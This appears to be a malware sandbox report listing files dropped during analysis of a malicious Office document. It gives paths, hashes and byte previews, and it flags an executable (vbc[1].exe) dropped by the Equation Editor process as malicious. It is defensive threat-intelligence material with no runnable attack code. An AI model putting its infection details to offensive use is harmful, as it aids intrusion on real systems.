                                                                  C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Cache\data_1

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                                                  File Type:data
                                                                  Category:modified
                                                                  Size (bytes):270336
                                                                  Entropy (8bit):0.001953593414988235
                                                                  Encrypted:false
                                                                  SSDEEP:3:MsEllllkEthXllkl2zEF/Cltw/ltl:/M/xT02zw/mml
                                                                  MD5:D1D7881FA66196F28CC6D03872FA6D46
                                                                  SHA1:BFDFF353504E73615317D45B2DBE46739FA9067A
                                                                  SHA-256:7E5756A6DF446E427FAD3354EA55C85E6401E0F7B3EB28F8B7D740E27E6D0F67
                                                                  SHA-512:6491853225A9BE97324D8FF049A63F220F0B72024BAFEC60E1A43D507CB80AFB20D05C21D992C8E908CEA6C849B912FEC1603854F498498D0E5946AFB86D575E
                                                                  Malicious:false
                                                                  Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                                                  File Type:ASCII text
                                                                  Category:dropped
                                                                  Size (bytes):292
                                                                  Entropy (8bit):5.153762795765596
                                                                  Encrypted:false
                                                                  SSDEEP:6:kUHniyq2PP2nKuAl9OmbnIFUtdHnrX11ZmwvHn6cQRkwOP2nKuAl9OmbjLJ:koniyvWHAahFUtxnrXX//n3QR57HAaSJ
                                                                  MD5:3FA34ABD9ADA750BEA8FFBA661C3E25C
                                                                  SHA1:3D18F20392996F6420D9FC3C795E916B790AF16C
                                                                  SHA-256:B64C72F76B064FFEDE31FE5357EE1CC01E5D03029A0F2EF357E6C94EB28AA226
                                                                  SHA-512:7627135B849D3BCA49DAB5CB89616AA0F7CA1529C82A096E632AF6DD45328AA2AD0C31F154D795C0B8BA7CD691896149450E0A9FD575F44A949666BF0DC8DF37
                                                                  Malicious:false
                                                                  Preview:2023/03/20-10:33:03.641 1972 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2023/03/20-10:33:03.651 1972 Recovering log #3.2023/03/20-10:33:03.661 1972 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

                                                                  C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                                                  File Type:ASCII text
                                                                  Category:dropped
                                                                  Size (bytes):292
                                                                  Entropy (8bit):5.153762795765596
                                                                  Encrypted:false
                                                                  SSDEEP:6:kUHniyq2PP2nKuAl9OmbnIFUtdHnrX11ZmwvHn6cQRkwOP2nKuAl9OmbjLJ:koniyvWHAahFUtxnrXX//n3QR57HAaSJ
                                                                  MD5:3FA34ABD9ADA750BEA8FFBA661C3E25C
                                                                  SHA1:3D18F20392996F6420D9FC3C795E916B790AF16C
                                                                  SHA-256:B64C72F76B064FFEDE31FE5357EE1CC01E5D03029A0F2EF357E6C94EB28AA226
                                                                  SHA-512:7627135B849D3BCA49DAB5CB89616AA0F7CA1529C82A096E632AF6DD45328AA2AD0C31F154D795C0B8BA7CD691896149450E0A9FD575F44A949666BF0DC8DF37
                                                                  Malicious:false
                                                                  Preview:2023/03/20-10:33:03.641 1972 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2023/03/20-10:33:03.651 1972 Recovering log #3.2023/03/20-10:33:03.661 1972 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

                                                                  C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old~RF41d356.TMP (copy)

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                                                  File Type:ASCII text
                                                                  Category:dropped
                                                                  Size (bytes):292
                                                                  Entropy (8bit):5.153762795765596
                                                                  Encrypted:false
                                                                  SSDEEP:6:kUHniyq2PP2nKuAl9OmbnIFUtdHnrX11ZmwvHn6cQRkwOP2nKuAl9OmbjLJ:koniyvWHAahFUtxnrXX//n3QR57HAaSJ
                                                                  MD5:3FA34ABD9ADA750BEA8FFBA661C3E25C
                                                                  SHA1:3D18F20392996F6420D9FC3C795E916B790AF16C
                                                                  SHA-256:B64C72F76B064FFEDE31FE5357EE1CC01E5D03029A0F2EF357E6C94EB28AA226
                                                                  SHA-512:7627135B849D3BCA49DAB5CB89616AA0F7CA1529C82A096E632AF6DD45328AA2AD0C31F154D795C0B8BA7CD691896149450E0A9FD575F44A949666BF0DC8DF37
                                                                  Malicious:false
                                                                  Preview:2023/03/20-10:33:03.641 1972 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2023/03/20-10:33:03.651 1972 Recovering log #3.2023/03/20-10:33:03.661 1972 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

                                                                  C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Visited Links

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                                                  File Type:data
                                                                  Category:dropped
                                                                  Size (bytes):131072
                                                                  Entropy (8bit):0.008898238653846898
                                                                  Encrypted:false
                                                                  SSDEEP:3:ImtVnM1xVlt/rt/l3Sxdlt4dV1gt/lop:IiV0xlzaxdX4m1lo
                                                                  MD5:3B8BF2F369CA7ABDF0636EE15DDEF161
                                                                  SHA1:4B82D483B79B555C62AA17F31F24F43C38F2C80F
                                                                  SHA-256:100201408FDCFA835C8699C6C2FCE748C5C3844C386053F9AA7CAD622373BFCA
                                                                  SHA-512:457D92EA15FA528E7BE3ED8136A267BD08A4D7866FDD7C353CFEB898F896983B40BB48156DC25D5E00EC118C6309337F3A9344226D1635F94D7F4A122D3DD87E
                                                                  Malicious:false
                                                                  Preview:VLnk.....?......LhXJ ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                                                                  File Type:SQLite 3.x database, last written using SQLite version 3024000, file counter 15, database pages 15, cookie 0x5, schema 4, UTF-8, version-valid-for 15
                                                                  Category:dropped
                                                                  Size (bytes):61440
                                                                  Entropy (8bit):3.575535913153063
                                                                  Encrypted:false
                                                                  SSDEEP:384:neh9dThStELJ8DAcLKuZsLRGlKhsvXh+vSc:vAeZsLQhUSc
                                                                  MD5:BCAA03F72866441CBE9AF508D2AF7994
                                                                  SHA1:4E65AC57740F64C7A0B2F9678150CB79B4C97175
                                                                  SHA-256:E16BBDAABAF775FD6C09430D86B4780F907086E377E5AE1747C11F6602D2EFA0
                                                                  SHA-512:984E1A454FE4250BBA304608530816ACD1A41F4D4BAD10D61ABF7FD43149B9E8210C0DA9105889030E5DBDA555318127A7939E1ED43A212529C91AE6733E895A
                                                                  Malicious:false
                                                                  Preview:SQLite format 3......@ ..........................................................................$.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                                                                  File Type:SQLite Rollback Journal
                                                                  Category:dropped
                                                                  Size (bytes):8720
                                                                  Entropy (8bit):3.3093576730086833
                                                                  Encrypted:false
                                                                  SSDEEP:48:7M72iomVmBsmom1Ctiomxom1Nom1Aiom1RROiom1Com1pom1AiomVPiomgyqAlmT:79Cm6rtxh8CPyd49IVXEBodRBkV
                                                                  MD5:3A4DB9F200BA8A36D38EAF75B778C17B
                                                                  SHA1:13DB201253EB01039D5D7FB7FC2451A662E83883
                                                                  SHA-256:E969EBDB86AF91CECEC6CEE79249EBAE576E947883B71D00E22B5B96F2DDDFED
                                                                  SHA-512:A57FC82E3CD716859B4F00BA5ED0369FCB9821D6DAF1CFCCA5C7F1251C512A1162B5E1AD3F1259F33DFF1E9A32BE32C3BCC1127BF46A1D4C86723DE6D8F9E79B
                                                                  Malicious:false
                                                                  Preview:.... .c......F............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................W....X.W.L...y.......~........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheRdr65536.dat

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                                                                  File Type:data
                                                                  Category:dropped
                                                                  Size (bytes):398613
                                                                  Entropy (8bit):2.1746478731407244
                                                                  Encrypted:false
                                                                  SSDEEP:1536:nnNTBeJFFFFFFp6LDyWnkGoGgpPortpyxxxxxxVzS:nBDyiFoGgpP
                                                                  MD5:E048CAA6DFA72DBBBA3A0C7869DC5B3F
                                                                  SHA1:0CE85D82BD02E1FDFA563ABBBE0A647A63834972
                                                                  SHA-256:6A8C2A62182DF333357CE5BA08FF2CF4F4CF6E74D3328AB47F844253512980DD
                                                                  SHA-512:62BEA535B786F67FCF96F371464DA5D4312F3A40BB264738FD304B5C0C36B1953FA223819C95CEA9C2D2DD217CC602E40533514ED0B64B34E6A15AE3D49D55B7
                                                                  Malicious:false
                                                                  Preview:Adobe Acrobat Reader DC 19.0....?A12_FindInDocument.............................................................................................................................................ppp.ppp`ppp.ppp.ppp.ppp.ppppppp ............................................................ppp.ppp.ppp.ppp.ppp.ppp.ppp.ppp.ppp.ppp.ppp ............................................ppp.ppp.ppp.ppp.ppp.ppp.ppp.ppp.ppp.ppp.ppp.ppp.ppp.ppp0........................................ppp.ppp.ppp.ppp.pppP................ppp0ppp.ppp.ppp.ppp.ppp0................................ppp.ppp.ppp.ppp.ppp.............................ppp`ppp.ppp.ppp.............................ppp.ppp.ppp.ppp.ppp.....................................ppp.ppp.ppp.ppp`........................ppp`ppp.ppp.pppP........................................ppp.ppp.ppp.ppp.........................ppp.ppp.ppp.........ppp.............ppp.........ppp.........ppp.ppp.ppp.........................ppp.ppp.ppp.....ppp0ppp.ppp`....ppp`ppp.ppp0ppp.ppp.ppp.....

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\sqlite-dll-win32-x86-3170000[1].zip

                                                                  Download File
                                                                  Process:C:\Windows\SysWOW64\wscript.exe
                                                                  File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                  Category:dropped
                                                                  Size (bytes):441750
                                                                  Entropy (8bit):7.998736788620827
                                                                  Encrypted:true
                                                                  SSDEEP:12288:kNYTTUBeH/mxYhfbJQ0BHxK30XfNd+6NwY8Ta6A:SYTT6ULhTndxmibH8u6A
                                                                  MD5:FA9B7C190006303EECDDFFA019D0BE06
                                                                  SHA1:A97CEBC176B3DAA453189F2C0B7CF2A5A70F9C92
                                                                  SHA-256:DC7F8B3493543DC086CB43B66401893597F993408F18B437E5C8E8B5544DB0BF
                                                                  SHA-512:4C293EF052A14F7527AA42D451BA5F4CFDF7FB7203F583EDA34EF24F4A2FD13975553C432A9354A0F8C1DE924B0C29A819BD34C7AAA03B642372496A75BE0532
                                                                  Malicious:false
                                                                  Preview:PK........x.MJ0..#....c.......sqlite3.defUT.....X..Xux.........d.......&....6......9.$..\..nj....==O...F...4.O.........._...%..*..Il..MD....>.&Y.St.~.6(g.x..=......".=...|..`...[.....].Y.y$o.q..4k.L.u+...5'...@....S.......r.s..|}.Yo.U..M...nyP:...|..8......`9. ..._.<..P..."..s...........H.8.F..../.....H..[.Nk.q...,..T.s@U2.G.1GR8..S.".......L9N.....*?..S.R5....3..-s^m.|.Q..p....Ms2.&.a'_.x.'.t.8].{.lW.......&..Of..a..*......i.k.4.&^..5F_*..e..[..g.=.8.Cs2.qK.M>(.<.u...a)..V..%.)w......ct..."...Q...w..`r.0.3M."...9...M`.>!Z.#R;...........k:.[.l.....Bl..>@.a.....(T..b1/.4..Px.I.)+...KLz...B..6...G.>..K..Gbu.#..c.`,.B.y.]..........K{[A.....q..?..q6v^...of..V....];?#.v..I1=.m..R....]n.6.W..bv..]...'J.O....e3...@...E. 6..M..k..@.7.4.]@;.*..1.sq.P.v..MA/.....W!G..6....a.R<..XT5..U&........(.N.f#.7.ck..].b>8....(.Xq`..p;...Ljt.....t.lW......5O....3|}.=........8..o.......Fn.........Lp..As.&..i8)....n-......+"........q.....@.*...+...`....<.8..

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

                                                                  Download File
                                                                  Process:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                  Category:dropped
                                                                  Size (bytes):299979
                                                                  Entropy (8bit):7.926593256630463
                                                                  Encrypted:false
                                                                  SSDEEP:6144:PYa6J+5gUNIG+sCfq3V++iY3aub8kFiLGG9qFP2ipkHj3DR7gy7y:PYDghNESPX3ZZq9q1b6DRc
                                                                  MD5:7DE990046A20E6666627273589B014A5
                                                                  SHA1:55EBCCD35C2329C5816CD0240B0919651AC58321
                                                                  SHA-256:EBCE15AD53B98D7ABA7F7544EE947E88F58D696E22CA4BC5D15B2DED37B577AC
                                                                  SHA-512:850914621B366494BBA2A64AEF1B3DF7C619C7E6BB321A67BC1A1A97BD0182118A1E5648EE48D24449E6341AB7F7989369797114FA521DB8C26CCD5EB3386A42
                                                                  Malicious:true
                                                                  Antivirus:
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*......@6............@.......................................@..........................................................................................................................................................text...vf.......h.................. ..`.rdata...............l..............@..@.data...x...........................@....ndata...................................rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1A5CF463.emf

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                  Category:dropped
                                                                  Size (bytes):7296
                                                                  Entropy (8bit):3.5651429999741935
                                                                  Encrypted:false
                                                                  SSDEEP:48:SkII4EPVVypa2iq9YHnBfL9AG07kfAqN9XaZ7kV7kR3jCBgB:SxsPVMkzuWAG75aSWJjCSB
                                                                  MD5:BA57D54BD3285D95D18903CE0CF660E1
                                                                  SHA1:0C84E6EF9F025023659F5B6A70272B1C1FC4D6D6
                                                                  SHA-256:B8DBC0BBDD597E705EEFF35A415B149E0CE9214DA1F05F2E8ECA8BA5B5EEE741
                                                                  SHA-512:96D183A26CBA3D58FE66BA0E65D52A9E1F984DB2150BD7B317F763B1842856DF47DB09B99DABB3603ACFF55BB44434B3D5A0458702F1676EF968D4E82B618325
                                                                  Malicious:false
                                                                  Preview:....l...........X...<................... EMF................................8...X....................?..............................c...C...R...p...................................S.e.g.o.e. .U.I.....................................................6.).X.......d...................d... ......p....\...d.......d.........p....d...\V.v...p....`..p8...zNw."................Kw....$.....r.d............^.p.....^.p.....".. .......-.......&<Jw................<..u.Z.v....X.b....8........................vdv......%...................................r...............E...'...........(...(..................?...........?................l...4...........(...(...(...(...(..... .............................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\29F24F69.emf

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                  Category:dropped
                                                                  Size (bytes):19100
                                                                  Entropy (8bit):3.4561252890903678
                                                                  Encrypted:false
                                                                  SSDEEP:192:KVuqi8qXS8qin47UqD8UqdBSS/qZUa7RqjJFqZ3fNqnpkL9qAQBqBlqOqT:KVLIXaDDUHCGaQCZ3YvAdmrT
                                                                  MD5:473866E4981DBB1AE9965320EAD15360
                                                                  SHA1:FB1E19BCF1AD583333FA3BF9D245C78435DD816A
                                                                  SHA-256:3CD00231E888E846B95A316223844E38F60E1D60BF95F62A21F8C18ABDD06D28
                                                                  SHA-512:F56D955D2EECD24750BC965BA75DEF90BE3093609583F54648CE805C58129676C4C6F9769C785E09F178D360C2C46A4A743300287B62CA58A620B8B80CCF1287
                                                                  Malicious:false
                                                                  Preview:....l............................1..#%.. EMF.....J..................................................\K..hC..F...,... ...EMF+.@..................X...X...F.......t...EMF+.@...........@..........0@.............?!@.........."@..........*@..$..........?...........?.........@..........!......................."...........F...........EMF++@...........@..........!@...........@..........*@..$..........?...........?........!@..........+@...........@..........!@..........2@....................;E...E.@..........*@..$..........?...........?........!@..........*@..$..........9...........9........*@..$..........9...........9........*@..$..........9...........9........+@..........*@..$..........9...........9........*@..$..........9...........9.........@..$..........................K J.J!.......b...........$...$......>...........>............%...........%...........V...0.............................LF.]LF.]......%...........%...........$...$......A...........A............"...........F...P...D...EMF+*@..

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3DC2DB08.emf

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                  Category:dropped
                                                                  Size (bytes):7304
                                                                  Entropy (8bit):4.72619510322236
                                                                  Encrypted:false
                                                                  SSDEEP:192:2sP2AjNhh9u+2Vy5FiLT+BIbAc2Ct/iLEWFOuHc:2sP2AjNhh9u+2Vy5FMT+BIbAc2Ct/iL0
                                                                  MD5:1967B7B96BD5EEF298EBF909A00BA409
                                                                  SHA1:F7C4CA90A1659670D125762F743083D53719C452
                                                                  SHA-256:667B9A03BBC8768767352A8CFDDF94358974E9018C3F1FCCEC8696CC775A1088
                                                                  SHA-512:27F2FA0A7B357A0AD32059EF094A2E1937058652031B60D1E6C2B2E5509CFE9EFF76A264728B2A070C79936C8DC38489D5CD43398FBDE1D5AC8266E9D1A5D7AC
                                                                  Malicious:false
                                                                  Preview:....l...........S...<................... EMF................................8...X....................?..............................^...C...R...p...................................S.e.g.o.e. .U.I.....................................................6.).X.......d...................d... ......p....\...d.......d.........p....d...\V.v...p....`..p8...zNw."................Kw....$.....r.d............^.p.....^.p.....".. .......-.......&<Jw................<..u.Z.v....X.b....8........................vdv......%...................................r...............B...'...........(...(..................?...........?................l...4...........(...(...(...(...(..... .................................................................___.........................................................................................................................................................???w............................................www.sss.aaa.JJJ.................................................

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4F49BF6A.emf

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                  Category:dropped
                                                                  Size (bytes):1106864
                                                                  Entropy (8bit):2.1419000480872574
                                                                  Encrypted:false
                                                                  SSDEEP:3072:V7aN3JkKXiDPcp5jw7lPwsVb7ooxv+7/jJK:5aFJkKXiDU7w7lYav+7VK
                                                                  MD5:356DC4E99436992BD4706C8CE0069BB2
                                                                  SHA1:2FA1B51579AC35020AE714CCEA9AEDAEEE7E8234
                                                                  SHA-256:B8B68932AD77EA2457ADE5F7955E1B174E9ED08FF51F4969009F41AE11BC8516
                                                                  SHA-512:12CCA3AC063304D4B3590D1C2AB8F456087DFCBE430ED6A7986845705F3FDFAE70BAAA91C1155A085D53E51CBE88E7C039D0ECF8A2F4683D54940EB7439FC3E0
                                                                  Malicious:false
                                                                  Preview:....l...............C...........m>..?$.. EMF........&...............................................\K..hC..F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@......................................................%...........%...................................R...p................................@."C.a.l.i.b.r.i......................................................\$...H....f.].@W.%...$...h...........L...RQS^............4.......$QS^........ ...Id.]........ ............d.]............O...........................%...X...%...7...................{$..................C.a.l.i.b.r.i...........X...X............8.\........dv......%...........%...........%...........!..............................."...........%...........%...........%...........T...T..........................@.E.@....C.......L.......................P... ...6...F...........EMF+*@..$..........?...........?.........@...........@..........*@..$..........?....

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5001E027.emf

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                  Category:dropped
                                                                  Size (bytes):97824
                                                                  Entropy (8bit):4.15659389201526
                                                                  Encrypted:false
                                                                  SSDEEP:1536:pm4/WD/WeBPIKD4HC/QCavImrP+2kZQCtQJ2JEEEGtEEECtnS/Wx/WM:pmzBPIKD4i4CavImrP+2kZPKJ2JEEEGB
                                                                  MD5:0848CAA6A9DD00BE29F512337660DA2F
                                                                  SHA1:755DC9ED684CE58977DF5138C2D9F85DD9CBF9EC
                                                                  SHA-256:91970DFB03B2B86C767BCD128F7A0A74526B9D9E88DDDC72B2FC178B186A5C77
                                                                  SHA-512:4A112E017AC8FF3460DB198DE1F89F38F2DC0127D460000BC814E09C2DC21E88668A05362671412390A4519B88F3AA642A5AA304693FFAF183D53D041CD710EF
                                                                  Malicious:false
                                                                  Preview:....l...........................?{...P.. EMF.... ~..+.......................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.......................%...........................................................&...........................%...........................6...............%...........L...d...................................!...

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5607C5D.jpeg

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                  File Type:JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=1], baseline, precision 8, 965x543, components 3
                                                                  Category:dropped
                                                                  Size (bytes):55370
                                                                  Entropy (8bit):7.732446166360939
                                                                  Encrypted:false
                                                                  SSDEEP:1536:93PFta9L335kzeMRXBPf0xWIqVDPcp5jxOPlFkYsm:97aN3JkKXiDPcp5jwx
                                                                  MD5:990581CD06C4532D60580D7F639AAB73
                                                                  SHA1:232AA2CB41DCB013058ED1E9459C150C426D6F79
                                                                  SHA-256:AD06EF9115ED9A270D1DF4FF8F44D1F8FE68CE7538D70D5663EDF37CA778D8B5
                                                                  SHA-512:FFF5C8872C4FC05D2A3B593917AEE6243C8DA483CB47DBF1F7FFE3E313648E4248C8811F6A0D381D2A73F6D0DEB322067C3BBDD443FEC6EF32D7E9B24C062E90
                                                                  Malicious:false
                                                                  Preview:......JFIF.....`.`.....NExif..MM.*.......i............................................................,Photoshop 3.0.8BIM.%..................B~...C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(..

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6E32DE56.emf

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                  Category:dropped
                                                                  Size (bytes):7272
                                                                  Entropy (8bit):3.562481485203936
                                                                  Encrypted:false
                                                                  SSDEEP:48:P+II4EPV0ypa2iq9YHnBfL9AG07kfAqN9XaZ7kV7kR3jCIf0:PvsPVHkzuWAG75aSWJjCIf0
                                                                  MD5:3791BE9C61E48E7790C65E1C19D3994D
                                                                  SHA1:CA523D797A7F3613697AC593128B2D7ED6F67D6E
                                                                  SHA-256:12200520CDFF255DF215875CFED465225615DFA2AA0B37D5A605E239AAC0D12C
                                                                  SHA-512:94974E3A1ECB4F711AD1A96E1CB3838359436207021173A7A620EB5529041960003494F4EDCFAF3A07167E32DB53CD388548D8BAAE9965C57D66DF0A219BE54B
                                                                  Malicious:false
                                                                  Preview:....l...........,...<................... EMF....h...........................8...X....................?..............................1...C...R...p...................................S.e.g.o.e. .U.I.....................................................6.).X.......d...................d... ......p....\...d.......d.........p....d...\V.v...p....`..p8...zNw."................Kw....$.....r.d............^.p.....^.p.....".. .......-.......&<Jw................<..u.Z.v....X.b....8........................vdv......%...................................r...............,...'...........(...(..................?...........?................l...4...........(...(...(...(...(..... .............................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\76C63CD.emf

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                  Category:dropped
                                                                  Size (bytes):1504468
                                                                  Entropy (8bit):1.053474355446965
                                                                  Encrypted:false
                                                                  SSDEEP:6144:mmA9GHd0sV3GzfRnt9lGnz+CdHKz91sLW9TOuKPUWkGWzAOvRbNAvY:mmndNGzJnYnz+1z997K0zD
                                                                  MD5:35E141964E2698FC12D087516D116C9A
                                                                  SHA1:E2E0713E181633BB4D5247D5B37A7FF854165538
                                                                  SHA-256:6A3A2ADDC5D6B554EED64B7C24B699E09BCF019E4F42AB14EC6D40C7CB749538
                                                                  SHA-512:70CF79F2CDAC3065E5EF644A666358ADAACAB8F1B4E458BAA9B9057AD1B3EE1DD432F6EDE973FB76A60F8945D31A8DDB5E04B34912DF292C7D8B752AE39F3F4E
                                                                  Malicious:false
                                                                  Preview:....l...........I...R............:...).. EMF................................8...X....................?...........................................:...)..........J...S...Q...............I...R...................J...S...P...(...x........... ....:...)..(...J...S.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\86F058AC.emf

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                  Category:dropped
                                                                  Size (bytes):3920
                                                                  Entropy (8bit):0.6238557764114945
                                                                  Encrypted:false
                                                                  SSDEEP:6:0zfhlOslsDwE1vfk+kSYR3PhlXxv/lhPmcROwMR/C+7khvSGq48uxUo++:0zrOEhcCJtbhv/7eSpM/0hvei
                                                                  MD5:B144C5DC2697405C54706532478FB8F4
                                                                  SHA1:4A336DC89AB41EA549248BF17732255450D43FFB
                                                                  SHA-256:A56486C90A658CC2107998846EA20FA6ACC722EF80550916DF1A496544835CF7
                                                                  SHA-512:AF415AE8AEF2595D71BE8EE89BD59B94DA500CBA64FC7332E74A750A004002744CA3FB5C2CCE564CD0F3644C52BA0C79C726EC4104FEB33D3E81757EDD083C77
                                                                  Malicious:false
                                                                  Preview:....X...............a...............b... EMF....P.......................d...d...........F...8...,...EMF+.@..................`...`....@..............................................F...l...`...EMF+.@..$...................b...d............PNG........IHDR.......b......:s....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^.........Om...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\93918E5F.emf

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                  Category:dropped
                                                                  Size (bytes):3920
                                                                  Entropy (8bit):0.6238557764114945
                                                                  Encrypted:false
                                                                  SSDEEP:6:0zfhlOslsDwE1vfk+kSYR3PhlXxv/lhPmcROwMR/C+7khvSGq48uxUo++:0zrOEhcCJtbhv/7eSpM/0hvei
                                                                  MD5:B144C5DC2697405C54706532478FB8F4
                                                                  SHA1:4A336DC89AB41EA549248BF17732255450D43FFB
                                                                  SHA-256:A56486C90A658CC2107998846EA20FA6ACC722EF80550916DF1A496544835CF7
                                                                  SHA-512:AF415AE8AEF2595D71BE8EE89BD59B94DA500CBA64FC7332E74A750A004002744CA3FB5C2CCE564CD0F3644C52BA0C79C726EC4104FEB33D3E81757EDD083C77
                                                                  Malicious:false
